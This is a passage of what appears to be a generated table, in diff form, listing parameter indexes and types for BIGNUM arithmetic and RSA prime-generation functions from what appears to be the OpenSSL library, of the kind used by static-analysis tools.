*,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_bn_rsa_fips186_4_gen_prob_primes | 7 | int | +| (BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_bn_rsa_fips186_4_gen_prob_primes | 8 | const BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_bn_rsa_fips186_4_gen_prob_primes | 9 | BN_CTX * | +| (BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_bn_rsa_fips186_4_gen_prob_primes | 10 | BN_GENCB * | +| (BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_X931_derive_prime_ex | 0 | BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_X931_derive_prime_ex | 1 | BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_X931_derive_prime_ex | 2 | BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_X931_derive_prime_ex | 3 | const BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_X931_derive_prime_ex | 4 | const BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_X931_derive_prime_ex | 5 | const BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_X931_derive_prime_ex | 6 | const BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_X931_derive_prime_ex | 7 | BN_CTX * | +| (BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_X931_derive_prime_ex | 8 | BN_GENCB * | +| (BIGNUM *,BIGNUM *,BN_BLINDING *,BN_CTX *) | | BN_BLINDING_convert_ex | 0 | BIGNUM * | +| (BIGNUM *,BIGNUM *,BN_BLINDING *,BN_CTX *) | | BN_BLINDING_convert_ex | 1 | BIGNUM * | +| (BIGNUM *,BIGNUM *,BN_BLINDING *,BN_CTX *) | | BN_BLINDING_convert_ex | 2 | BN_BLINDING * | +| (BIGNUM *,BIGNUM *,BN_BLINDING *,BN_CTX *) | | BN_BLINDING_convert_ex | 3 | BN_CTX * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *) | | BN_div_recp | 0 | BIGNUM * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *) | | BN_div_recp | 1 | BIGNUM * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *) | | BN_div_recp | 2 | const BIGNUM * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *) | | BN_div_recp | 3 | BN_RECP_CTX * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *) | | BN_div_recp | 4 | BN_CTX * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_div | 0 | BIGNUM * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_div | 1 | BIGNUM * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_div | 2 | const BIGNUM * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_div | 3 | const BIGNUM * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_div | 4 | BN_CTX * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | bn_div_fixed_top | 0 | BIGNUM * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | bn_div_fixed_top | 1 | BIGNUM * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | bn_div_fixed_top | 2 | const BIGNUM * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | bn_div_fixed_top | 3 | const BIGNUM * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | bn_div_fixed_top | 4 | BN_CTX * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_bn_rsa_fips186_4_derive_prime | 0 | BIGNUM * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_bn_rsa_fips186_4_derive_prime | 1 | BIGNUM * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_bn_rsa_fips186_4_derive_prime | 2 | const BIGNUM * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_bn_rsa_fips186_4_derive_prime | 3 | const BIGNUM * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_bn_rsa_fips186_4_derive_prime | 4 | const BIGNUM * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_bn_rsa_fips186_4_derive_prime | 5 | int | +| (BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_bn_rsa_fips186_4_derive_prime | 6 | const BIGNUM * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_bn_rsa_fips186_4_derive_prime | 7 | BN_CTX * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_bn_rsa_fips186_4_derive_prime | 8 | BN_GENCB * | +| (BIGNUM *,BIGNUM *,const unsigned char **,size_t) | | ossl_decode_der_dsa_sig | 0 | BIGNUM * | +| (BIGNUM *,BIGNUM *,const unsigned char **,size_t) | | ossl_decode_der_dsa_sig | 1 | BIGNUM * | +| (BIGNUM *,BIGNUM *,const unsigned char **,size_t) | | ossl_decode_der_dsa_sig | 2 | const unsigned char ** | +| (BIGNUM *,BIGNUM *,const unsigned char **,size_t) | | ossl_decode_der_dsa_sig | 3 | size_t | +| (BIGNUM *,BIGNUM *,int,BN_CTX *) | | BN_X931_generate_Xpq | 0 | BIGNUM * | +| (BIGNUM *,BIGNUM *,int,BN_CTX *) | | BN_X931_generate_Xpq | 1 | BIGNUM * | +| (BIGNUM *,BIGNUM *,int,BN_CTX *) | | BN_X931_generate_Xpq | 2 | int | +| (BIGNUM *,BIGNUM *,int,BN_CTX *) | | BN_X931_generate_Xpq | 3 | BN_CTX * | +| (BIGNUM *,BIGNUM *,int,BN_CTX *) | | ossl_rsa_check_prime_factor | 0 | BIGNUM * | +| (BIGNUM *,BIGNUM *,int,BN_CTX *) | | ossl_rsa_check_prime_factor | 1 | BIGNUM * | +| (BIGNUM *,BIGNUM *,int,BN_CTX *) | | ossl_rsa_check_prime_factor | 2 | int | +| (BIGNUM *,BIGNUM *,int,BN_CTX *) | | ossl_rsa_check_prime_factor | 3 | BN_CTX * | +| (BIGNUM *,BN_BLINDING *,BN_CTX *) | | BN_BLINDING_convert | 0 | BIGNUM * | +| (BIGNUM *,BN_BLINDING *,BN_CTX *) | | BN_BLINDING_convert | 1 | BN_BLINDING * | +| (BIGNUM *,BN_BLINDING *,BN_CTX *) | | BN_BLINDING_convert | 2 | BN_CTX * | +| (BIGNUM *,BN_BLINDING *,BN_CTX *) | | BN_BLINDING_invert | 0 | BIGNUM * | +| (BIGNUM *,BN_BLINDING *,BN_CTX *) | | BN_BLINDING_invert | 1 | BN_BLINDING * | +| (BIGNUM *,BN_BLINDING *,BN_CTX *) | | BN_BLINDING_invert | 2 | BN_CTX * | +| (BIGNUM *,const BIGNUM *) | | BN_copy | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *) | | BN_copy | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *) | | BN_lshift1 | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *) | | BN_lshift1 | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *) | | BN_priv_rand_range | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *) | | BN_priv_rand_range | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *) | | BN_pseudo_rand_range | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *) | | BN_pseudo_rand_range | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *) | | BN_rand_range | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *) | | BN_rand_range | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *) | | BN_rshift1 | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *) | | BN_rshift1 | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,BN_BLINDING *,BN_CTX *) | | BN_BLINDING_invert_ex | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,BN_BLINDING *,BN_CTX *) | | BN_BLINDING_invert_ex | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,BN_BLINDING *,BN_CTX *) | | BN_BLINDING_invert_ex | 2 | BN_BLINDING * | +| (BIGNUM *,const BIGNUM *,BN_BLINDING *,BN_CTX *) | | BN_BLINDING_invert_ex | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_are_coprime | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_are_coprime | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_are_coprime | 2 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_sqr | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_sqr | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_sqr | 2 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,BN_CTX *) | | bn_sqr_fixed_top | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,BN_CTX *) | | bn_sqr_fixed_top | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,BN_CTX *) | | bn_sqr_fixed_top | 2 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_from_montgomery | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_from_montgomery | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_from_montgomery | 2 | BN_MONT_CTX * | +| (BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_from_montgomery | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_to_montgomery | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_to_montgomery | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_to_montgomery | 2 | BN_MONT_CTX * | +| (BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_to_montgomery | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | bn_from_mont_fixed_top | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | bn_from_mont_fixed_top | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | bn_from_mont_fixed_top | 2 | BN_MONT_CTX * | +| (BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | bn_from_mont_fixed_top | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | bn_to_mont_fixed_top | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | bn_to_mont_fixed_top | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | bn_to_mont_fixed_top | 2 | BN_MONT_CTX * | +| (BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | bn_to_mont_fixed_top | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_GF2m_add | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_GF2m_add | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_GF2m_add | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_GF2m_mod | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_GF2m_mod | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_GF2m_mod | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_add | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_add | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_add | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_mod_lshift1_quick | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_mod_lshift1_quick | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_mod_lshift1_quick | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_sub | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_sub | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_sub | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_uadd | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_uadd | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_uadd | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_usub | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_usub | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_usub | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_inv | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_inv | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_inv | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_inv | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_solve_quad | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_solve_quad | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_solve_quad | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_solve_quad | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_sqr | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_sqr | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_sqr | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_sqr | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_sqrt | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_sqrt | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_sqrt | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_GF2m_mod_sqrt | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_exp | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_exp | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_exp | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_exp | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_gcd | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_gcd | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_gcd | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_gcd | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_inverse | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_inverse | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_inverse | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_inverse | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_lshift1 | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_lshift1 | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_lshift1 | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_lshift1 | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_sqr | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_sqr | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_sqr | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_sqr | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_sqrt | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_sqrt | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_sqrt | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mod_sqrt | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mul | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mul | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mul | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_mul | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nist_mod_192 | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nist_mod_192 | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nist_mod_192 | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nist_mod_192 | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nist_mod_224 | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nist_mod_224 | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nist_mod_224 | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nist_mod_224 | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nist_mod_256 | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nist_mod_256 | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nist_mod_256 | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nist_mod_256 | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nist_mod_384 | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nist_mod_384 | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nist_mod_384 | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nist_mod_384 | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nist_mod_521 | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nist_mod_521 | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nist_mod_521 | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nist_mod_521 | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nnmod | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nnmod | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nnmod | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_nnmod | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | bn_mul_fixed_top | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | bn_mul_fixed_top | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | bn_mul_fixed_top | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | bn_mul_fixed_top | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,int *) | | int_bn_mod_inverse | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,int *) | | int_bn_mod_inverse | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,int *) | | int_bn_mod_inverse | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,int *) | | int_bn_mod_inverse | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,int *) | | int_bn_mod_inverse | 4 | int * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_mod_mul_montgomery | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_mod_mul_montgomery | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_mod_mul_montgomery | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_mod_mul_montgomery | 3 | BN_MONT_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_mod_mul_montgomery | 4 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | bn_mul_mont_fixed_top | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | bn_mul_mont_fixed_top | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | bn_mul_mont_fixed_top | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | bn_mul_mont_fixed_top | 3 | BN_MONT_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | bn_mul_mont_fixed_top | 4 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *) | | BN_mod_mul_reciprocal | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *) | | BN_mod_mul_reciprocal | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *) | | BN_mod_mul_reciprocal | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *) | | BN_mod_mul_reciprocal | 3 | BN_RECP_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *) | | BN_mod_mul_reciprocal | 4 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_mod_add_quick | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_mod_add_quick | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_mod_add_quick | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_mod_add_quick | 3 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_mod_sub_quick | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_mod_sub_quick | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_mod_sub_quick | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_mod_sub_quick | 3 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | bn_mod_add_fixed_top | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | bn_mod_add_fixed_top | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | bn_mod_add_fixed_top | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | 